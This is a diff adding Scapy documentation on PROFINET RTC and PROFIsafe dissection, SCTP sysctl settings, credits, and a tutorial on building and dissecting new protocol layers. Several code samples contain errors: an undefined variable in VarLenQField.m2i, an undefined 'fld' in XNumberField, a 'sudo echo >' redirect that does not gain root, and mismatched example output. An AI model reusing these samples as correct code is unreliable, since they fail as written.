+For Scapy to be able to dissect it correctly, one must also configure the layer for it to know the location of each data in the buffer. This configuration is saved in the dictionary ``conf.contribs["PNIO_RTC"]`` which can be updated with the ``pnio_update_config`` method. Each item in the dictionary uses the tuple ``(Ether.src, Ether.dst)`` as key, to be able to separate the configuration of each communication. Each value is then a list of a tuple which describes a data packet. It is composed of the negative index, from the end of the data buffer, of the packet position, the class of the packet as second item and the ``config`` dictionary to provide to the class as last. If we continue the previous example, here is the configuration to set::
+
+    >>> load_contrib("pnio")
+    >>> e=Ether(src='00:01:02:03:04:05', dst='06:07:08:09:0a:0b') / ProfinetIO() / p
+    >>> e.show2()
+    ###[ Ethernet ]### 
+      dst= 06:07:08:09:0a:0b
+      src= 00:01:02:03:04:05
+      type= 0x8892
+    ###[ ProfinetIO ]### 
+         frameID= RT_CLASS_1
+    ###[ PROFINET Real-Time ]### 
+      len= 44
+      dataLen= 15
+      \data\
+       |###[ PNIO RTC Raw data ]### 
+       |  load= '\x80AAA\x00\x80AAA\x00 BBB\x80'
+      padding= ''
+      cycleCounter= 1024
+      dataStatus= primary+validData+run+no_problem
+      transferStatus= 0
+    >>> pnio_update_config({('00:01:02:03:04:05', '06:07:08:09:0a:0b'): [
+    ... (-9, Profisafe, {'length': 8, 'CRC': 3}),
+    ... (-9 - 5, PNIORealTimeRawData, {'length':4}),
+    ... ]})
+    >>> e.show2()
+    ###[ Ethernet ]### 
+      dst= 06:07:08:09:0a:0b
+      src= 00:01:02:03:04:05
+      type= 0x8892
+    ###[ ProfinetIO ]### 
+         frameID= RT_CLASS_1
+    ###[ PROFINET Real-Time ]### 
+            len= 44
+            dataLen= 15
+            \data\
+             |###[ PNIO RTC IOxS ]### 
+             |  dataState= good
+             |  instance= subslot
+             |  reserved= 0x0L
+             |  extension= 0L
+             |###[ PNIO RTC Raw data ]### 
+             |  load= 'AAA'
+             |###[ PNIO RTC IOxS ]### 
+             |     dataState= good
+             |     instance= subslot
+             |     reserved= 0x0L
+             |     extension= 0L
+             |###[ PROFISafe ]### 
+             |  load= 'AAA'
+             |  Control_Status= 0x20
+             |  CRC= 0x424242L
+             |###[ PNIO RTC IOxS ]### 
+             |     dataState= good
+             |     instance= subslot
+             |     reserved= 0x0L
+             |     extension= 0L
+            padding= ''
+            cycleCounter= 1024
+            dataStatus= primary+validData+run+no_problem
+            transferStatus= 0
+
+If no data packets are configured for a given offset, it defaults to a ``PNIORealTimeIOxS``. However, this method is not very convenient for the user to configure the layer and it only affects the dissection of packets. In such cases, one may have access to several RTC packets, sniffed or retrieved from a PCAP file. Thus, ``PNIORealTime`` provides some methods to analyse a list of ``PNIORealTime`` packets and locate all data in it, based on simple heuristics. All of them take as first argument an iterable which contains the list of packets to analyse.
+
+* ``PNIORealTime.find_data()`` analyses the data buffer and separate real data from IOxS. It returns a dict which can be provided to ``pnio_update_config``.
+* ``PNIORealTime.find_profisafe()`` analyses the data buffer and find the PROFIsafe profiles among the real data. It returns a dict which can be provided to ``pnio_update_config``.
+* ``PNIORealTime.analyse_data()`` executes both previous methods and update the configuration. **This is usually the method to call.**
+* ``PNIORealTime.draw_entropy()`` will draw the entropy of each byte in the data buffer. It can be used to easily visualize PROFIsafe locations as entropy is the base of the decision algorithm of ``find_profisafe``.
+
+::
+
+    >>> load_contrib('pnio_rtc')
+    >>> t=rdpcap('/path/to/trace.pcap', 1024)
+    >>> PNIORealTime.analyse_data(t)
+    {('00:01:02:03:04:05', '06:07:08:09:0a:0b'): [(-19, <class 'scapy.contrib.pnio_rtc.PNIORealTimeRawData'>, {'length': 1}), (-15, <class 'scapy.contrib.pnio_rtc.Profisafe'>, {'CRC': 3, 'length': 6}), (-7, <class 'scapy.contrib.pnio_rtc.Profisafe'>, {'CRC': 3, 'length': 5})]}
+    >>> t[100].show()
+    ###[ Ethernet ]###
+      dst= 06:07:08:09:0a:0b
+      src= 00:01:02:03:04:05
+      type= n_802_1Q
+    ###[ 802.1Q ]###
+         prio= 6L
+         id= 0L
+         vlan= 0L
+         type= 0x8892
+    ###[ ProfinetIO ]###
+            frameID= RT_CLASS_1
+    ###[ PROFINET Real-Time ]###
+               len= 44
+               dataLen= 22
+               \data\
+                |###[ PNIO RTC Raw data ]###
+                |  load= '\x80\x80\x80\x80\x80\x80\x00\x80\x80\x80\x12:\x0e\x12\x80\x80\x00\x12\x8b\x97\xe3\x80'
+               padding= ''
+               cycleCounter= 6208
+               dataStatus= primary+validData+run+no_problem
+               transferStatus= 0
+    
+    >>> t[100].show2()
+    ###[ Ethernet ]###
+      dst= 06:07:08:09:0a:0b
+      src= 00:01:02:03:04:05
+      type= n_802_1Q
+    ###[ 802.1Q ]###
+         prio= 6L
+         id= 0L
+         vlan= 0L
+         type= 0x8892
+    ###[ ProfinetIO ]###
+            frameID= RT_CLASS_1
+    ###[ PROFINET Real-Time ]###
+               len= 44
+               dataLen= 22
+               \data\
+                |###[ PNIO RTC IOxS ]###
+                |  dataState= good
+                |  instance= subslot
+                |  reserved= 0x0L
+                |  extension= 0L
+                [...]
+                |###[ PNIO RTC IOxS ]###
+                |  dataState= good
+                |  instance= subslot
+                |  reserved= 0x0L
+                |  extension= 0L
+                |###[ PNIO RTC Raw data ]###
+                |  load= ''
+                |###[ PNIO RTC IOxS ]###
+                |     dataState= good
+                |     instance= subslot
+                |     reserved= 0x0L
+                |     extension= 0L
+                [...]
+                |###[ PNIO RTC IOxS ]###
+                |  dataState= good
+                |  instance= subslot
+                |  reserved= 0x0L
+                |  extension= 0L
+                |###[ PROFISafe ]###
+                |  load= ''
+                |  Control_Status= 0x12
+                |  CRC= 0x3a0e12L
+                |###[ PNIO RTC IOxS ]###
+                |     dataState= good
+                |     instance= subslot
+                |     reserved= 0x0L
+                |     extension= 0L
+                |###[ PNIO RTC IOxS ]###
+                |  dataState= good
+                |  instance= subslot
+                |  reserved= 0x0L
+                |  extension= 0L
+                |###[ PROFISafe ]###
+                |  load= ''
+                |  Control_Status= 0x12
+                |  CRC= 0x8b97e3L
+                |###[ PNIO RTC IOxS ]###
+                |     dataState= good
+                |     instance= subslot
+                |     reserved= 0x0L
+                |     extension= 0L
+               padding= ''
+               cycleCounter= 6208
+               dataStatus= primary+validData+run+no_problem
+               transferStatus= 0
+    
+In addition, one can see, when displaying a ``PNIORealTime`` packet, the field ``len``. This is a computed field which is not added in the final packet build. It is mainly useful for dissection and reconstruction, but it can also be used to modify the behaviour of the packet. In fact, RTC packet must always be long enough for an Ethernet frame and to do so, a padding must be added right after the ``data`` buffer. The default behaviour is to add ``padding`` whose size is computed during the ``build`` process::
+
+    >>> raw(PNIORealTime(cycleCounter=0x4242, data=[PNIORealTimeIOxS()]))
+    '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BB5\x00'
+
+However, one can set ``len`` to modify this behaviour. ``len`` controls the length of the whole ``PNIORealTime`` packet. Then, to shorten the length of the padding, ``len`` can be set to a lower value::
+
+    >>> raw(PNIORealTime(cycleCounter=0x4242, data=[PNIORealTimeIOxS()], len=50))
+    '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BB5\x00'
+    >>> raw(PNIORealTime(cycleCounter=0x4242, data=[PNIORealTimeIOxS()]))
+    '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BB5\x00'
+    >>> raw(PNIORealTime(cycleCounter=0x4242, data=[PNIORealTimeIOxS()], len=30))
+    '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BB5\x00'
+
+
+SCTP
+====
+
+SCTP is a relatively young transport-layer protocol combining both TCP and UDP characteristics. The `RFC 3286 <https://tools.ietf.org/html/rfc3286>`_ introduces it and its description lays in the `RFC 4960 <https://tools.ietf.org/html/rfc4960>`_.
+
+It is not broadly used, its mainly present in core networks operated by telecommunication companies, to support VoIP for instance.
+
+
+Enabling dynamic addressing reconfiguration and chunk authentication capabilities
+---------------------------------------------------------------------------------
+
+If you are trying to discuss with SCTP servers, you may be interested in capabilities added in `RFC 4895 <https://tools.ietf.org/html/rfc4895>`_ which describe how to authenticated some SCTP chunks, and/or `RFC 5061 <https://tools.ietf.org/html/rfc5061>`_ to dynamically reconfigure the IP address of a SCTP association.
+
+These capabilities are not always enabled by default on Linux. Scapy does not need any modification on its end, but SCTP servers may need specific activation.
+
+To enable the RFC 4895 about authenticating chunks::
+
+    $ sudo echo 1 > /proc/sys/net/sctp/auth_enable
+
+To enable the RFC 5061 about dynamic address reconfiguration::
+
+    $ sudo echo 1 > /proc/sys/net/sctp/addip_enable
+
+You may also want to use the dynamic address reconfiguration without necessarily enabling the chunk authentication::
+
+    $ sudo echo 1 > /proc/sys/net/sctp/addip_noauth_enable
diff --git a/doc/scapy/backmatter.rst b/doc/scapy/backmatter.rst
new file mode 100644
index 0000000..a4340c5
--- /dev/null
+++ b/doc/scapy/backmatter.rst
@@ -0,0 +1,10 @@
+
+*********
+Credits
+*********
+
+- Philippe Biondi is Scapy's author. He has also written most of the documentation.
+- Pierre Lalet and Guillaume Valadon are the current most active maintainers and contributors.
+- Fred Raynal wrote the chapter on building and dissecting packets.
+- Peter Kacherginsky contributed several tutorial sections, one-liners and recipes.
+- Dirk Loss integrated and restructured the existing docs to make this book.
diff --git a/doc/scapy/build_dissect.rst b/doc/scapy/build_dissect.rst
new file mode 100644
index 0000000..6469b73
--- /dev/null
+++ b/doc/scapy/build_dissect.rst
@@ -0,0 +1,1127 @@
+********************
+Adding new protocols
+********************
+
+Adding new protocol (or more correctly: a new *layer*) in Scapy is very easy. All the magic is in the fields. If the 
+fields you need are already there and the protocol is not too brain-damaged, 
+this should be a matter of minutes. 
+
+Simple example
+==============
+
+A layer is a subclass of the ``Packet`` class. All the logic behind layer manipulation 
+is hold by the ``Packet`` class and will be inherited. 
+A simple layer is compounded by a list of fields that will be either concatenated 
+when assembling the layer or dissected one by one when disassembling a string. 
+The list of fields is held in an attribute named ``fields_desc``. Each field is an instance 
+of a field class:: 
+
+    class Disney(Packet): 
+        name = "DisneyPacket " 
+        fields_desc=[ ShortField("mickey",5), 
+                     XByteField("minnie",3) , 
+                     IntEnumField("donald" , 1 , 
+                          { 1: "happy", 2: "cool" , 3: "angry" } ) ]
+                       
+In this example, our layer has three fields. The first one is an 2 byte integer 
+field named ``mickey`` and whose default value is 5. The second one is a 1 byte 
+integer field named ``minnie`` and whose default value is 3. The difference between 
+a vanilla ``ByteField`` and a ``XByteField`` is only the fact that the preferred human 
+representation of the field’s value is in hexadecimal. The last field is a 4 byte 
+integer field named ``donald``. It is different from a vanilla ``IntField`` by the fact 
+that some of the possible values of the field have literate representations. For 
+example, if it is worth 3, the value will be displayed as angry. Moreover, if the 
+"cool" value is assigned to this field, it will understand that it has to take the 
+value 2. 
+
+If your protocol is as simple as this, it is ready to use:: 
+
+    >>> d=Disney(mickey=1) 
+    >>> ls(d) 
+    mickey : ShortField = 1 (5) 
+    minnie : XByteField = 3 (3) 
+    donald : IntEnumField = 1 (1) 
+    >>> d.show() 
+    ###[ Disney Packet ]### 
+    mickey= 1 
+    minnie= 0x3 
+    donald= happy 
+    >>> d.donald="cool" 
+    >>> raw(d)
+    ’\x00\x01\x03\x00\x00\x00\x02’ 
+    >>> Disney( ) 
+    <Disney mickey=1 minnie=0x3 donald=cool |> 
+
+
+This chapter explains how to build a new protocol within Scapy. There are two main objectives:
+
+* Dissecting: this is done when a packet is received (from the network or a file) and should be converted to Scapy’s internals.
+* Building: When one wants to send such a new packet, some stuff needs to be adjusted automatically in it.
+
+Layers
+======
+
+Before digging into dissection itself, let us look at how packets are
+organized.
+
+::
+
+    >>> p = IP()/TCP()/"AAAA"
+    >>> p
+    <IP  frag=0 proto=TCP |<TCP  |<Raw  load='AAAA' |>>>
+    >>> p.summary()
+    'IP / TCP 127.0.0.1:ftp-data > 127.0.0.1:www S / Raw'
+
+We are interested in 2 "inside" fields of the class ``Packet``:
+
+* ``p.underlayer``
+* ``p.payload``
+
+And here  is the  main "trick".  You do not  care about  packets, only
+about layers, stacked one after the other. 
+
+One can easily  access a layer by its name: ``p[TCP]`` returns the ``TCP``
+and followings layers. This is a shortcut for ``p.getlayer(TCP)``.
+
+.. note::
+   There is  an optional argument (``nb``) which returns  the ``nb`` th  layer of required protocol.
+
+Let's put everything together now, playing with the ``TCP`` layer::
+
+    >>> tcp=p[TCP]
+    >>> tcp.underlayer
+    <IP  frag=0 proto=TCP |<TCP  |<Raw  load='AAAA' |>>>
+    >>> tcp.payload
+    <Raw  load='AAAA' |>
+
+As expected, ``tcp.underlayer`` points to the beginning of our IP packet,
+and ``tcp.payload`` to its payload.
+
+Building a new layer
+--------------------
+
+.. index::
+   single: Layer
+
+VERY EASY! A layer is mainly a list of fields. Let's look at ``UDP`` definition::
+
+    class UDP(Packet):
+        name = "UDP"
+        fields_desc = [ ShortEnumField("sport", 53, UDP_SERVICES),
+                        ShortEnumField("dport", 53, UDP_SERVICES),
+                        ShortField("len", None),
+                        XShortField("chksum", None), ]
+
+And you are done! There are many fields already defined for
+convenience, look at the doc``^W`` sources as Phil would say.
+
+So, defining a layer is simply gathering fields in a list. The goal is
+here to  provide the  efficient default values  for each field  so the
+user does not have to give them when he builds a packet. 
+
+The main  mechanism  is based on  the ``Field`` structure.  Always keep in
+mind that a layer is just a little more than a list of fields, but not
+much more. 
+
+So, to understanding how layers are working, one needs to look quickly
+at how the fields are handled.
+
+
+Manipulating packets == manipulating its fields
+-----------------------------------------------
+
+.. index::
+   single: i2h()
+   single: i2m()
+   single: m2i()
+
+A field should be considered in different states:
+
+- ``i`` (nternal) : this is the way Scapy manipulates it.
+- ``m`` (achine) : this is where the truth is, that is the layer as it is
+    on the network.
+- ``h`` (uman) : how the packet is displayed to our human eyes.
+
+This explains  the mysterious  methods ``i2h()``, ``i2m()``,  ``m2i()`` and  so on
+available  in  each field:  they are conversion  from one  state  to
+another, adapted to a specific use.
+
+Other special functions:
+
+- ``any2i()`` guess the input representation and returns the internal one.
+- ``i2repr()`` a nicer ``i2h()``
+
+However, all these are "low level" functions. The functions adding or
+extracting a field to the current layer are:
+
+- ``addfield(self, pkt, s, val)``:  copy the network  representation of
+  field ``val`` (belonging to layer ``pkt``) to the raw string packet ``s``::
+
+      class StrFixedLenField(StrField):
+          def addfield(self, pkt, s, val):
+              return s+struct.pack("%is"%self.length,self.i2m(pkt, val))
+
+- ``getfield(self, pkt, s)``: extract from the raw packet ``s`` the field
+  value belonging to layer ``pkt``. It returns a list, the 1st element
+  is the raw packet string after having removed the extracted field,
+  the second one is the extracted field itself in internal
+  representation::
+
+      class StrFixedLenField(StrField):
+          def getfield(self, pkt, s):
+              return s[self.length:], self.m2i(pkt,s[:self.length])
+       
+When defining your own layer, you usually just need to define some
+``*2*()`` methods, and sometimes also the ``addfield()`` and ``getfield()``.
+
+
+Example: variable length quantities
+-----------------------------------
+
+There is way to represent integers on a variable length quantity often
+used in  protocols, for instance  when dealing with  signal processing
+(e.g. MIDI). 
+
+Each byte  of the number is  coded with the  MSB set to 1,  except the
+last byte. For instance, 0x123456 will be coded as 0xC8E856:: 
+
+    def vlenq2str(l):
+        s = []
+        s.append( hex(l & 0x7F) )
+        l = l >> 7
+        while l>0:
+            s.append( hex(0x80 | (l & 0x7F) ) )
+            l = l >> 7
+        s.reverse()
+        return "".join(chr(int(x, 16)) for x in s)
+    
+    def str2vlenq(s=""):
+        i = l = 0
+        while i<len(s) and ord(s[i]) & 0x80:
+            l = l << 7
+            l = l + (ord(s[i]) & 0x7F)
+            i = i + 1
+        if i == len(s):
+            warning("Broken vlenq: no ending byte")
+        l = l << 7
+        l = l + (ord(s[i]) & 0x7F)
+    
+        return s[i+1:], l
+
+We will  define a field which  computes automatically the  length of a
+associated string, but used that encoding format::
+
+    class VarLenQField(Field):
+        """ variable length quantities """
+    
+        def __init__(self, name, default, fld):
+            Field.__init__(self, name, default)
+            self.fld = fld
+            
+        def i2m(self, pkt, x):
+            if x is None:
+                f = pkt.get_field(self.fld)
+                x = f.i2len(pkt, pkt.getfieldval(self.fld))
+                x = vlenq2str(x)
+            return raw(x)
+    
+        def m2i(self, pkt, x):
+            if s is None:
+                return None, 0
+            return str2vlenq(x)[1]
+    
+        def addfield(self, pkt, s, val):
+            return s+self.i2m(pkt, val)
+    
+        def getfield(self, pkt, s):
+            return str2vlenq(s)
+
+And now, define a layer using this kind of field::
+
+    class FOO(Packet):
+        name = "FOO"
+        fields_desc = [ VarLenQField("len", None, "data"),
+                        StrLenField("data", "", "len") ]
+    
+        >>> f = FOO(data="A"*129)
+        >>> f.show()
+        ###[ FOO ]###
+          len= 0
+          data=    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+
+Here, ``len``  is  not  yet  computed  and only  the  default  value  are
+displayed.  This  is  the   current  internal  representation  of  our
+layer. Let's force the computation now::
+
+    >>> f.show2()
+    ###[ FOO ]###
+      len= 129
+      data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+
+The method ``show2()`` displays the  fields with their values as they will
+be sent to the network, but in a human readable way, so we see ``len=129``.
+Last but not least, let us look now at the machine representation::
+
+    >>> raw(f)
+    '\x81\x01AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+
+The first 2 bytes are ``\x81\x01``, which is 129 in this encoding.
+
+
+ 
+Dissecting 
+==========
+.. index::
+   dissecting
+   
+Layers are  only list  of fields,  but what is  the glue  between each
+field, and after, between each  layer. These are the mysteries explain
+in this section.
+
+The basic stuff
+---------------
+
+The core function for dissection is ``Packet.dissect()``::
+
+    def dissect(self, s):
+        s = self.pre_dissect(s)
+        s = self.do_dissect(s)
+        s = self.post_dissect(s)            
+        payl,pad = self.extract_padding(s)
+        self.do_dissect_payload(payl)
+        if pad and conf.padding:
+            self.add_payload(Padding(pad))
+
+When called, ``s`` is a string containing what is going to be
+dissected. ``self`` points to the current layer.
+ 
+::
+
+    >>> p=IP("A"*20)/TCP("B"*32)
+    WARNING: bad dataofs (4). Assuming dataofs=5
+    >>> p
+    <IP  version=4L ihl=1L tos=0x41 len=16705 id=16705 flags=DF frag=321L ttl=65 proto=65 chksum=0x4141
+    src=65.65.65.65 dst=65.65.65.65 |<TCP  sport=16962 dport=16962 seq=1111638594L ack=1111638594L dataofs=4L
+    reserved=2L flags=SE window=16962 chksum=0x4242 urgptr=16962 options=[] |<Raw  load='BBBBBBBBBBBB' |>>>
+
+``Packet.dissect()`` is called 3 times:
+
+1. to dissect the ``"A"*20`` as an IPv4 header
+2. to dissect the ``"B"*32`` as a TCP header
+3. and  since  there  are still  12  bytes  in  the packet,  they  are
+   dissected as "``Raw``" data (which is some kind of default layer type)
+
+
+For a given layer, everything is quite straightforward:
+
+- ``pre_dissect()`` is called to prepare the layer.
+- ``do_dissect()`` perform the real dissection of the layer.
+- ``post_dissection()`` is  called when some  updates are needed  on the
+  dissected inputs (e.g. deciphering, uncompressing, ... )
+- ``extract_padding()`` is an important  function which should be called
+  by every  layer containing  its own size, so that it can tell apart 
+  in  the payload what is really related to this layer and what will
+  be considered as additional padding bytes.
+- ``do_dissect_payload()``  is the  function in  charge of  dissecting the
+  payload  (if  any).  It   is  based  on  ``guess_payload_class()``  (see
+  below). Once the type of the  payload is known, the payload is bound
+  to the current layer with this new type::
+
+      def do_dissect_payload(self, s):
+          cls = self.guess_payload_class(s)
+          p = cls(s, _internal=1, _underlayer=self)
+          self.add_payload(p)
+
+At the  end, all  the layers  in the packet  are dissected,  and glued
+together with their known types.
+
+
+Dissecting fields
+-----------------
+
+The  method with  all the  magic  between a  layer and  its fields  is
+``do_dissect()``. If you have  understood the different representations of
+a layer, you  should understand that "dissecting" a  layer is building
+each of its fields from the machine to the internal representation. 
+
+Guess what? That is exactly what ``do_dissect()`` does::
+
+    def do_dissect(self, s):
+        flist = self.fields_desc[:]
+        flist.reverse()
+        while s and flist:
+            f = flist.pop()
+            s,fval = f.getfield(self, s)
+            self.fields[f] = fval
+        return s
+
+So, it  takes the raw string packet,  and feed each field  with it, as
+long as there are data or fields remaining::
+
+    >>> FOO("\xff\xff"+"B"*8)
+    <FOO  len=2097090 data='BBBBBBB' |>
+
+When writing ``FOO("\xff\xff"+"B"*8)``, it calls ``do_dissect()``. The first
+field is VarLenQField.  Thus, it takes bytes as long as their MSB is
+set, thus until (and including) the first '``B``'. This mapping is done
+thanks to ``VarLenQField.getfield()`` and can be cross-checked::
+
+    >>> vlenq2str(2097090)
+    '\xff\xffB'
+
+Then, the  next field is extracted  the same way, until 2097090 bytes
+are put in ``FOO.data`` (or less  if 2097090 bytes are  not available, as
+here).
+
+If  there are  some bytes  left after  the dissection  of  the current
+layer, it is mapped  in the same way to the what  the next is expected
+to be (``Raw`` by default)::
+
+    >>> FOO("\x05"+"B"*8)
+    <FOO  len=5 data='BBBBB' |<Raw  load='BBB' |>>
+
+Hence, we need now to understand how layers are bound together.
+
+Binding layers
+--------------
+
+One of the cool features with  Scapy when dissecting layers is that is
+try to guess for us what the next layer is. The official way to link 2
+layers is using ``bind_layers()`` function.
+
+Available inside the ``packet`` module, this function can be used as following::
+
+    bind_layers(ProtoA, ProtoB, FieldToBind=Value)
+
+Each time a packet ``ProtoA()/ProtoB()`` will be created, the ``FieldToBind`` of
+``ProtoA`` will be equal to ``Value``.
+
+For instance,  if you have a class ``HTTP``, you may expect  that all the
+packets coming from or going to  port 80 will be decoded as such. This
+is simply done that way::
+
+    bind_layers( TCP, HTTP, sport=80 )
+    bind_layers( TCP, HTTP, dport=80 )
+
+That's  all folks!  Now every  packet  related to  port  80 will  be
+associated to the  layer ``HTTP``, whether it is read from  a pcap file or
+received from the network.
+
+The ``guess_payload_class()`` way
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+Sometimes,  guessing the payload  class is  not as  straightforward as
+defining a single  port. For instance, it can depends on  a value of a
+given byte in the current layer. The 2 needed methods are:
+
+- ``guess_payload_class()`` which must return  the guessed class for the
+  payload (next layer). By default, it uses links between classes
+  that have been put in place by ``bind_layers()``.
+
+- ``default_payload_class()``  which returns  the  default value.   This
+  method  defined in the  class ``Packet``  returns ``Raw``,  but it  can be
+  overloaded.
+
+For  instance, decoding  802.11  changes depending  on  whether it  is
+ciphered or not::
+
+    class Dot11(Packet):
+        def guess_payload_class(self, payload):
+            if self.FCfield & 0x40:
+                return Dot11WEP
+            else:
+                return Packet.guess_payload_class(self, payload)
+
+Several comments are needed here:
+
+- this  cannot be  done  using  ``bind_layers()``  because the  tests  are
+  supposed to be "``field==value``", but it is more complicated here as we
+  test a single bit in the value of a field.
+  
+- if the  test fails, no assumption is  made, and we plug  back to the
+  default guessing mechanisms calling ``Packet.guess_payload_class()``
+
+Most of  the time,  defining a method  ``guess_payload_class()`` is  not a
+necessity as the same result can be obtained from ``bind_layers()``.
+
+Changing the default behavior
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+If you do not like Scapy's  behavior for a given layer, you can either
+change or disable it through  the call to ``split_layer()``. For instance,
+if you do not want UDP/53 to be bound with ``DNS``, just add in your code:
+``
+split_layers(UDP, DNS, sport=53)
+``
+Now every packet  with source port 53 will not be  handled as DNS, but
+whatever you specify instead.
+
+
+
+Under the hood: putting everything together
+-------------------------------------------
+
+In  fact, each  layer  has a  field  payload_guess. When  you use  the
+bind_layers() way, it adds the defined next layers to that list.
+
+::
+
+    >>> p=TCP()
+    >>> p.payload_guess
+    [({'dport': 2000}, <class 'scapy.Skinny'>), ({'sport': 2000}, <class 'scapy.Skinny'>), ... )]
+
+Then,  when it  needs to  guess  the next  layer class,  it calls  the
+default method ``Packet.guess_payload_class()``.  This method runs through
+each  element  of  the   list  payload_guess,  each  element  being  a
+tuple:
+
+- the 1st value is a field to test (``'dport': 2000``)
+- the 2nd value is the guessed class if it matches (``Skinny``)
+
+So, the  default ``guess_payload_class()`` tries all element  in the list,
+until  one   matches.  If  no   element  are  found,  it   then  calls
+``default_payload_class()``. If you have redefined this method, then yours
+is  called, otherwise,  the default  one is  called, and  ``Raw``  type is
+returned. 
+
+``Packet.guess_payload_class()``
+
+- test what is in field ``guess_payload``
+- call overloaded ``guess_payload_class()``
+
+
+Building
+========
+
+Building a packet is as simple as building each layer. Then, some
+magic happens to glue everything. Let's do magic then.
+
+The basic stuff
+---------------
+
+First thing to  establish: what does "build" mean? As  we have seen, a
+layer  can   be  represented  in  different   ways  (human,  internal,
+machine). Building means going to the machine format.
+
+Second thing to  understand is ''when'' a layer is  built. Answer is not
+that obvious, but as soon  as you need the machine representation, the
+layers are built: when the packet is dropped on the network or written
+to a  file, when it  is converted as  a string, ...  In  fact, machine
+representation  should be  regarded as  a big  string with  the layers
+appended altogether.
+ 
+::
+
+    >>> p = IP()/TCP()
+    >>> hexdump(p)
+    0000 45 00 00 28 00 01 00 00 40 06 7C CD 7F 00 00 01 E..(....@.|..... 
+    0010 7F 00 00 01 00 14 00 50 00 00 00 00 00 00 00 00 .......P........ 
+    0020 50 02 20 00 91 7C 00 00 P. ..|.. 
+
+Calling ``raw()`` builds the packet:
+  - non instanced fields are set to their default value
+  - lengths are updated automatically
+  - checksums are computed
+  - and so on. 
+
+In fact, using ``raw()`` rather than ``show2()`` or any other method
+is not a random choice as all the functions building the packet calls
+``Packet.__str__()`` (or ``Packet.__bytes__()`` under Python
+3). However, ``__str__()`` calls another method: ``build()``::
+
+    def __str__(self):
+        return next(iter(self)).build()
+
+What is important also to understand  is that usually, you do not care
+about the machine  representation, that is why the  human and internal
+representations are here. 
+
+So, the  core method is ``build()``  (the code has been  shortened to keep
+only the relevant parts)::
+
+    def build(self,internal=0):
+        pkt = self.do_build()
+        pay = self.build_payload()
+        p = self.post_build(pkt,pay)
+        if not internal:
+            pkt = self
+            while pkt.haslayer(Padding):
+                pkt = pkt.getlayer(Padding)
+                p += pkt.load
+                pkt = pkt.payload
+        return p
+
+So, it  starts by  building the current  layer, then the  payload, and
+``post_build()``  is called  to update  some late  evaluated  fields (like
+checksums). Last, the padding is added to the end of the packet. 
+
+Of  course, building  a layer  is  the same  as building  each of  its
+fields, and that is exactly what ``do_build()`` does.
+
+Building fields
+---------------
+
+The building of each field of a layer is called in ``Packet.do_build()``::
+
+    def do_build(self):
+        p=""
+        for f in self.fields_desc:
+            p = f.addfield(self, p, self.getfieldval(f))
+        return p
+
+The  core function  to  build a  field  is ``addfield()``.   It takes  the
+internal view of the  field and put it at the end  of ``p``. Usually, this
+method calls  ``i2m()`` and returns something  like ``p.self.i2m(val)`` (where
+``val=self.getfieldval(f)``).
+
+If ``val`` is set, then ``i2m()`` is just a matter of formatting the value the
+way it must  be. For instance, if a  byte is expected, ``struct.pack("B", val)``
+is the right way to convert it.
+
+However, things  are more complicated if  ``val`` is not set,  it means no
+default  value was  provided  earlier,  and thus  the  field needs  to
+compute some "stuff" right now or later. 
+
+"Right now"  means thanks  to ``i2m()``, if  all pieces of  information is
+available.  For instance,  if  you have  to  handle a  length until  a
+certain delimiter. 
+
+Ex: counting the length until a delimiter
+
+::
+
+    class XNumberField(FieldLenField):
+    
+        def __init__(self, name, default, sep="\r\n"):
+            FieldLenField.__init__(self, name, default, fld)
+            self.sep = sep
+    
+        def i2m(self, pkt, x):
+            x = FieldLenField.i2m(self, pkt, x)
+            return "%02x" % x
+    
+        def m2i(self, pkt, x):
+            return int(x, 16)
+    
+        def addfield(self, pkt, s, val):
+            return s+self.i2m(pkt, val)
+    
+        def getfield(self, pkt, s):
+            sep = s.find(self.sep)
+            return s[sep:], self.m2i(pkt, s[:sep])
+
+In this example,  in ``i2m()``, if ``x`` has already a  value, it is converted
+to its hexadecimal value. If no value is given, a length of "0" is
+returned.
+
+The glue is provided by ``Packet.do_build()`` which calls ``Field.addfield()``
+for  each field in  the layer,  which in  turn calls  ``Field.i2m()``: the
+layer is built IF a value was available.
+
+
+Handling default values: ``post_build``
+---------------------------------------
+
+A default  value for a  given field is  sometimes either not  known or
+impossible to compute when the  fields are put together. For instance,
+if we used a ``XNumberField`` as  defined previously in a layer, we expect
+it  to be set  to a  given value  when the  packet is  built. However,
+nothing is returned by ``i2m()`` if it is not set. 
+
+The answer to this problem is ``Packet.post_build()``. 
+
+When  this method is  called, the  packet is  already built,  but some
+fields still need  to be computed. This is  typically what is required
+to compute checksums or lengths. In fact, this is required each time a
+field's value depends on something which is not in the current 
+
+So, let  us assume we  have a packet  with a ``XNumberField``, and  have a
+look to its building process::
+
+    class Foo(Packet):
+          fields_desc = [
+              ByteField("type", 0),
+              XNumberField("len", None, "\r\n"),
+              StrFixedLenField("sep", "\r\n", 2)
